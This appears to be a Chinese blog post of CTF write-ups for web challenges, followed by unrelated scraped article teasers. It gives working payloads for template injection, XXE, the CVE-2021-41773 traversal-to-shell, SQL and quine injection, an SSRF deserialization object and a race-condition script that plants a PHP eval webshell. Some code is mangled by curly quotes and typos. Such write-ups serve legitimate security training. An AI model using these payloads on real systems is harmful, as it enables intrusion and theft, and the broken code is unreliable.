)func main() {gin.SetMode(gin.ReleaseMode)//设置应用程序的生产方式r := gin.Default()//创建一个默认的 Gin 引擎实例 r,这个实例已经包含了基本的中间件(如日志和恢复中间件)templ := template.Must(template.New("").ParseFS(templates.Templates, "*.tmpl"))r.SetHTMLTemplate(templ)r.Use(gin.Logger())r.Use(gin.Recovery())authorized := r.Group("/admin")authorized.Use(middleware.LocalRequired()) //访问middleware的LocalRequired()方法{authorized.GET("/index", route.Login)}r.GET("/", route.Index)r.Run(":9999")
}
第一层访问要绕过的代码
package middlewareimport ( "github.com/gin-gonic/gin"
)func LocalRequired() gin.HandlerFunc {return func(c *gin.Context) {if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {c.AbortWithStatus(403)return}ip := c.ClientIP()if ip == "127.0.0.1" {c.Next()} else {c.AbortWithStatus(401)}}
}
就是禁止了x-forwarded-for和x-client-ip这两个,直接用X-Real-IP绕过
package routeimport (_ "embed""fmt""html/template""loginme/structs""loginme/templates""strconv""github.com/gin-gonic/gin"
)func Index(c *gin.Context) {c.HTML(200, "index.tmpl", gin.H{"title": "Try Loginme",})
}func Login(c *gin.Context) {idString, flag := c.GetQuery("id")if !flag {idString = "1"}id, err := strconv.At oi(idString)if err != nil {id = 1}TargetUser := structs.Adminfor _, user := range structs.Users {if user.Id == id {TargetUser = user}}age := TargetUser.Ageif age == "" {age, flag = c.GetQuery("age")if !flag {age = "forever 18 (Tell me the age)"}}if err != nil {c.AbortWithError(500, err)}html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)if err != nil {c.AbortWithError(500, err)}tmpl, err := template.New("admin_index").Parse(html)if err != nil {c.AbortWithError(500, err)}tmpl.Execute(c.Writer, TargetUser)
}
接下来就是这段代码,age为空给age赋值,age会被Sprintf()函数格式化字符串并赋给html
tmpl, err := template.New("admin_index").Parse(html)
这段代码就是一个渲染,在go语言当中{{.name}}表示要应用的对象,让它等于{{.Password}}从而获得关键信息
结构体代码
package structstype UserInfo struct {Id intUsername stringAge stringPassword string
}var Users = []UserInfo{{Id: 1,Username: "Grandpa Lu",Age: "22",Password: "hack you!",},{Id: 2,Username: "Longlone",Age: "??",Password: "i don't know",},{Id: 3,Username: "Teacher Ma",Age: "20",Password: "guess",},
}var Admin = UserInfo{Id: 0,Username: "Admin",Age: "",Password: "flag{}",
}
从这段代码中得到id=0才满足条件
所以最终payload
?id=0&age={{.Password}}
X-Real-IP:127.0.0.1

php代码审计
[MoeCTF 2022]ezphp
考察变量覆盖
<?phphighlight_file('source.txt');
echo "<br><br>";$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($giveme);
}if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){exit($getout);
}foreach ($_POST as $key => $value) {$$key = $value;
}foreach ($_GET as $key => $value) {$$key = $$value;
}echo 'the flag is : ' . $flag;?>
源码
前两个判断语句就是判断flag的值是否输入了并输入的值是不是等于flag
后面就是循环将键值和与变量更换
payload
?a=flag&flag=a
参考博客:变量覆盖(超详细!)-CSDN博客
[MoeCTF 2022]ezphp writeup-CSDN博客
XML
[NCTF 2019]Fake XML cookbook
一道简单的xml注入,相关知识点
从XML相关一步一步到XXE漏洞 - 先知社区

payload
<?xml version="1.0" ?>
<!DOCTYPE feng [
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>1</password>
</user>
CVE漏洞
[NSSRound#4 SWPU]ez_rce
CVE-2021-41773目录穿越漏洞

上面是这道题的最终结果
第一步
将传参方式由GET改为POST,并且传入下面的东西
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
第二步就是执行命令

之后找到flag目录但打开不是flag,将目录中文件一个一个打开就可以找到flag目录,在打开flag就可以了,或者用下面命令直接匹配一下
echo;grep -r “NSS” /flag_is_here
php漏洞
[FSCTF 2023]签到plus
php7.4.21源码泄露漏洞
打开网页报错,然后查了一下目录,发现有shell.php
打开是phpinfo()页面,找到flag是一个假的flag,但看到php版本是php7.4.21想到源码泄露漏洞,


按这个按钮可以得到下面效果

同时将bp上面菜单中的重放器的第一个选项的更新content-length的长度这个按钮给取消了,最终效果为

得到源码
HTTP/1.1 200 OK
Date: Fri, 04 Oct 2024 05:54:33 GMT
Connection: close
Content-Length: 443<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;if (isset($_GET['👽🦐'])) {eval($😭($_GET['👽🦐']));
};?>
最终payload
shell.php?👽🦐=tac /f*
得到flag
sql注入
[网鼎杯 2018]Fakebook
本题涉及sql注入,ssrf,反序列化
打开网页可以看到可以注册一个号,注册完之后就没有任何思路了,然后就扫描一下目录得到robots.txt这个目录,打开可以找到源码所在的目录,打开那个目录就可以看到源码
<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}
从这段代码大概可以发现博客哪里有问题
注册完,点击注册名字可以得到?no这个参数,在这里可以进行sql注入
先试了一下发现是数字注入
先查一下字段
view.php?no=1 order by 4
使用联合注入union select被过滤了尝试使用union/I**/select绕过
查表
view.php?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
查字段
view.php?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'
得到有一个data,查看data它让我们传对象并爆出路径
这时候猜测反序列化
在源码中有ssrf漏洞,猜测flag在flag.php当中
function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}
脚本
<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "file:///var/www/html/flag.php";}
echo serialize(new UserInfo());
他是先注入在反序列化
view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
然后打开源码有一串base64解码就可以得到flag
[第五空间 2021]yet_another_mysql_injection
知识点:quine注入
打开网页,查看源码,可以看到?source这个目录,访问得到源码
<?php
include_once("lib.php");
function alertMes($mes,$url){die("<script>alert('{$mes}');location.href='{$url}';</script>");
}function checkSql($s) {if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){alertMes('hacker', 'index.php');}
}if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {$username=$_POST['username'];$password=$_POST['password'];if ($username !== 'admin') {alertMes('only admin can login', 'index.php');}checkSql($password);$sql="SELECT password FROM users WHERE username='admin' and password='$password';";$user_result=mysqli_query($con,$sql);$row = mysqli_fetch_array($user_result);if (!$row) {alertMes("something wrong",'index.php');}if ($row['password'] === $password) {die($FLAG);} else {alertMes("wrong password",'index.php');}
}if(isset($_GET['source'])){show_source(__FILE__);die;
}
?>
<!-- /?source -->
<html><body><form action="/index.php" method="post"><input type="text" name="username" placeholder="账号"><br/><input type="password" name="password" placeholder="密码"><br/><input type="submit" / value="登录"></form></body>
</html>
查看源码,本来以为是一个时间盲注,sleep可以找到替代benchmark,但最后注入出来user表是空的
仔细观察
if ($row['password'] === $password) {die($FLAG);}
这段代码如果修改password让它与password相等也可以得到flag
最终payload
'/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#
源码可以看这位大佬的博客:https://www.anquanke.com/post/id/253570
参考:[第五空间 2021]yet_another_mysql_injection - KingBridge - 博客园
[NCTF 2018]滴!晨跑打卡
打开网页有一个框可以试一下注入,最终发现它是一个正常的联合注入,只是空格被禁了并且不要在输入框当中输入,要直接get传参才能达到理想的效果,用%0a绕过空格
查列
1’%a0union%a0select%a01,2,3’
查库名
1%27%a0union%a0select%a01,2,(select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),4%27
查表名
1%27%a0union%a0select%a01,2,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=database()),4%27
查列名
1%27%a0union%a0select%a01,2,(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name=‘pcnumber’),4%27
查字段值
1%27%a0union%a0select%a01,2,(select%a0group_concat(flag)%a0from%a0pcnumber),4%27
得到flag
[NSSCTF 2022 Spring Recruit]babysql
一个有过滤的联合注入
-a'/**/union/**/select/**/(select/**/database())'-a'/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test')'-a'/**/union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag')'-a'/**/union/**/select/**/(select/**/group_concat(flag)/**/from/**/test.flag)'
[UUCTF 2022 新生赛]ezsql
正常的联合注入,其中过滤了or并且会将输入的sql语句倒序,双写绕过
/?user=admin&password=%23galf+moorrf+FTCUU%2C1+tceles+noinu+)'1
模仿这个sql语句可以得到表字段,这是最后得到flag的一步
[NISACTF 2022]hardsql
又是一道quine注入
password=_POST[‘passwd’];
sql="SELECTpasswdFROMusersWHEREusername=′bilala′andpasswd=′sql="SELECTpasswdFROMusersWHEREusername=′bilala′andpasswd=′password’;";
给了提示,感觉是quine注入,登录抓包最终payload
username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#&login=%E7%99%BB%E5%BD%95

参考博客:[NISACTF 2022]hardsql-CSDN博客
文件包含
[第五空间 2021]EasyCleanup
这道题打开先看源码
<?php
if(!isset($_GET['mode'])){ highlight_file(__file__);
}else if($_GET['mode'] == "eval"){ $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); eval($shell);
} if(isset($_GET['file'])){ if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); include $_GET['file'];
} function filter($var){ $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; foreach($banned as $ban){ if(strstr($var, $ban)) return True; } return False;
} function checkNums($var){ $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $cnt = 0; for($i = 0; $i < strlen($alphanum); $i++){ for($j = 0; $j < strlen($var); $j++){ if($var[$j] == $alphanum[$i]){ $cnt += 1; if($cnt > 8) return True; } } } return False;
}
?>
审计一下代码第一段代码就是判断是否上传了mode这个参数如果上传了就进行接下来的判断,判断是否上传了shell如果上传了接着判断如果没有上传就显示phpinfo页面经过简单的分析感觉如果去RCE过滤的太多了,所以直接用下一个文件包含
这里用session条件竞争
exp
import ioimport requests
import threading # 多线程from cffi.backend_ctypes import xrangesessid = ‘0’
target = ‘http://1.14.71.254:28592/’
file = ‘ph0ebus.txt’ # 上传文件名
f = io.BytesIO(b’a’ * 1024 * 50) # 文件内容,插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长def write(session):
while True:
session.post(target, data={‘PHP_SESSION_UPLOAD_PROGRESS’: ‘<?php eval($_GET[“cmd”]);?>’},
files={‘file’: (file, f)}, cookies={‘PHPSESSID’: sessid})def read(session):
while True:
resp = session.post(
f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system(‘cd /;ls;cat nssctfasdasdflag’);“)
if file in resp.text:
print(resp.text)
event.clear()
else:
print(”[+]retry")
# print(resp.text)if name == “main”:
event = threading.Event()
with requests.session() as session:
for i in xrange(1, 30): # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好
threading.Thread(target=write, args=(session,)).start()
# target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;args:在参数target中传入的可调用对象的参数元组,默认为空元组()
for i in xrange(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
还有一些原理细节没有讲参考下面博客
NSSCTF | 在线CTF平台
session伪造
[HDCTF 2023]YamiYami
非预期解
点第一个目录
直接查看环境变量
?url=file:///proc/1/environ
相关文章:
NSSCTF刷题篇web部分
源码泄露 [FSCTF 2023]寻找蛛丝马迹 这个源码泄露,可以记录一下,涉及的知识点比较多 打开环境 查看源码, 第一段flag 乱码,恢复一下 乱码恢复网站:乱码恢复 (mytju.com) 剩下的就只说方法 http://node4.anna.nss…...
超子物联网HAL库笔记:准备篇
超子物联网 HAL库学习 汇总入口: 超子物联网HAL库笔记:[汇总] 写作不易,如果您觉得写的不错,欢迎给博主来一波点赞、收藏~让博主更有动力吧! 1. HAL库简介 HAL库 HAL库(Hardware Abstraction Layer&#…...
FoRAG:面向网络增强型长文本问答的事实优化检索增强生成方法
人工智能咨询培训老师叶梓 转载标明出处 检索增强生成技术尽管出现了各种开源方法和商业系统,如Bing Chat,但生成的长文本答案中缺乏事实性和清晰逻辑的问题仍未得到解决。为了解决这些问题,来自蚂蚁集团和清华大学的研究者们提出了一种名为…...
Android NSD局域网发现服务
近期在了解局域网发现服务的时候无意间看到Android 自带的(Network Service Discovery)网络发现服务,在一番验证之后发现实现比较简单,可靠性也高,因此在这里做一个整理,算是对自己知识做一个归档。 网络服…...
算法的学习笔记—左旋转字符串(牛客JZ58)
😀前言 在程序设计中,字符串处理问题屡见不鲜,其中“字符串左旋”是一种常见操作,今天我们一起来探讨一个经典的左旋转字符串题目,以及一种优雅的解决方案——三步翻转法。 🏠个人主页:尘觉主页…...
Mac 上无法烧录 ESP32C3 的问题记录:A fatal error occurred:Failed to write to target RAM
文章目录 问题描述驱动下载地址问题解决:安装 CH343 驱动踩的坑日志是乱码 问题描述 我代码编译可以,但是就是烧录不上去 A fatal error occurred:Failed to write to target RAM(result was 01070000:Operation timed out) Uploaderror:上传失败&…...
ios 项目升级极光SDK
由于项目使用的是旧版本,隐私合规检查不通过,需要升级到最新版本, 使用cocoapods集成无法正常运行,.a文件找不到,可能项目比较久了,最好选择手动导入 下载最新版本SDK,将 SDK 包解压ÿ…...
【Java】java | logback日志配置 | 按包配置级别
一、概述 日志配置需求: 本地部分包开debug,其他路径走配置;只在本地环境有效 二、logback.xml配置 <!--本地调试,开debug--> <springProfile name"dev"><logger name"cn.hg.demo" level&quo…...
Virtuoso使用layout绘制版图、使用Calibre验证DRC和LVS
1 绘制版图 1.1 进入Layout XL 绘制好Schmatic后,在原理图界面点击Launch,点击Layout XL进入版图绘制界面。 1.2 导入元件 1、在Layout XL界面左下角找打Generate All from Source。 2、在Generate Layout界面,选中“Instance”&#…...
Spring框架原理面试题及参考答案
目录 什么是Spring 开发框架? 说说Spring 的 IOC 和 DI? 简述IoC(控制反转)及在 Spring 中的实现 说说Spring IOC 容器的基本概念? 说说Spring IoC 的实现机制? 说说Spring IoC 容器? 简述Spring ApplicationContext 说说Spring Bean 的生命周期 说说在 Spring…...
Java类的static成员以及代码块(详细版)
文章目录 一、什么是static成员二、static修饰的成员有何意义三、static修饰成员变量四、static修饰成员方法4.1、静态成员变量不可以在方法内创建4.2、静态成员方法内部不可以访问非静态成员变量4.3、总结 五、static成员变量的初始化5.1、就地初始化5.2、静态代码块初始化 六…...
Opensearch集群部署【docker、服务器、Helm多种部署方式】
操作系统兼容性 我们建议在 Red Hat Enterprise Linux (RHEL) 或使用systemd的基于 Debian 的 Linux 发行版上安装 OpenSearch ,例如 CentOS、Amazon Linux 2 和 Ubuntu Long-Term Support (LTS)。OpenSearch 应该适用于大多数 Linux 发行版,但我们只测…...
本地Docker部署开源WAF雷池并实现异地远程登录管理界面
💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…...
性能需求笔记
名称解释 系统用户:所有注册过的用户;在线用户:某时间段内登录且在线的用户 pv:用户浏览页面的次数 UV:登录系统的用户,uv课产生多个pv 性能测试:测试软件在系统中的运行性能,度量系…...
ts:数组的常用方法(reduce累加)
ts:数组的常用方法(reduce累加) 一、主要内容说明二、例子reduce方法(累加)1.源码1 (reduce方法)2.源码1运行效果 三、结语四、定位日期 一、主要内容说明 ts中数组的reduce方法,用…...
Begin
cpp 编程的发展方向还是很多的:游戏、嵌入式、QT、客户端、服务端、机器学习、算法大模 型 ...,现阶段还是不太清楚具体想走什么方向。主QT编程应该是不在考虑之内的,可以为辅简单 学习一下;游戏方向:需要学习lua语言…...
【实战案例】Django框架表单处理及数据库交互
本文基于之前内容列表如下: 【图文指引】5分钟搭建Django轻量级框架服务 【实战案例】Django框架基础之上编写第一个Django应用之基本请求和响应 【实战案例】Django框架连接并操作数据库MySQL相关API 【实战案例】Django框架使用模板渲染视图页面及异常处理 更新编…...
python开发工具是选择vscode还是pycharm?两款软件优缺点对照!
Pycharm和VSCode是两款流行的代码编辑器,它们都有各自的优缺点和适用情况。本文将从以下几个方面对它们进行比较和分析: 功能和扩展性性能和稳定性用户体验和界面价格和支持 功能和扩展性 Pycharm是一款专为Python开发而设计的集成开发环境(…...
2025选题|基于Hadoop的物品租赁系统的设计与实现
作者简介:Java领域优质创作者、CSDN博客专家 、CSDN内容合伙人、掘金特邀作者、阿里云博客专家、51CTO特邀作者、多年架构师设计经验、多年校企合作经验,被多个学校常年聘为校外企业导师,指导学生毕业设计并参与学生毕业答辩指导,…...
【Qt】QTableView添加下拉框过滤条件
实现通过带复选框的下拉框来为表格添加过滤条件 带复选框的下拉框 .h文件 #pragma once #include <QCheckBox> #include <QComboBox> #include <QEvent> #include <QLineEdit> #include <QListWidget>class TableComboBox : public QComboBox …...
idea大量爆红问题解决
问题描述 在学习和工作中,idea是程序员不可缺少的一个工具,但是突然在有些时候就会出现大量爆红的问题,发现无法跳转,无论是关机重启或者是替换root都无法解决 就是如上所展示的问题,但是程序依然可以启动。 问题解决…...
23-Oracle 23 ai 区块链表(Blockchain Table)
小伙伴有没有在金融强合规的领域中遇见,必须要保持数据不可变,管理员都无法修改和留痕的要求。比如医疗的电子病历中,影像检查检验结果不可篡改行的,药品追溯过程中数据只可插入无法删除的特性需求;登录日志、修改日志…...
线程同步:确保多线程程序的安全与高效!
全文目录: 开篇语前序前言第一部分:线程同步的概念与问题1.1 线程同步的概念1.2 线程同步的问题1.3 线程同步的解决方案 第二部分:synchronized关键字的使用2.1 使用 synchronized修饰方法2.2 使用 synchronized修饰代码块 第三部分ÿ…...
关于nvm与node.js
1 安装nvm 安装过程中手动修改 nvm的安装路径, 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解,但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后,通常在该文件中会出现以下配置&…...
基于当前项目通过npm包形式暴露公共组件
1.package.sjon文件配置 其中xh-flowable就是暴露出去的npm包名 2.创建tpyes文件夹,并新增内容 3.创建package文件夹...
oracle与MySQL数据库之间数据同步的技术要点
Oracle与MySQL数据库之间的数据同步是一个涉及多个技术要点的复杂任务。由于Oracle和MySQL的架构差异,它们的数据同步要求既要保持数据的准确性和一致性,又要处理好性能问题。以下是一些主要的技术要点: 数据结构差异 数据类型差异ÿ…...
佰力博科技与您探讨热释电测量的几种方法
热释电的测量主要涉及热释电系数的测定,这是表征热释电材料性能的重要参数。热释电系数的测量方法主要包括静态法、动态法和积分电荷法。其中,积分电荷法最为常用,其原理是通过测量在电容器上积累的热释电电荷,从而确定热释电系数…...
安宝特案例丨Vuzix AR智能眼镜集成专业软件,助力卢森堡医院药房转型,赢得辉瑞创新奖
在Vuzix M400 AR智能眼镜的助力下,卢森堡罗伯特舒曼医院(the Robert Schuman Hospitals, HRS)凭借在无菌制剂生产流程中引入增强现实技术(AR)创新项目,荣获了2024年6月7日由卢森堡医院药剂师协会࿰…...
【VLNs篇】07:NavRL—在动态环境中学习安全飞行
项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战,克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...

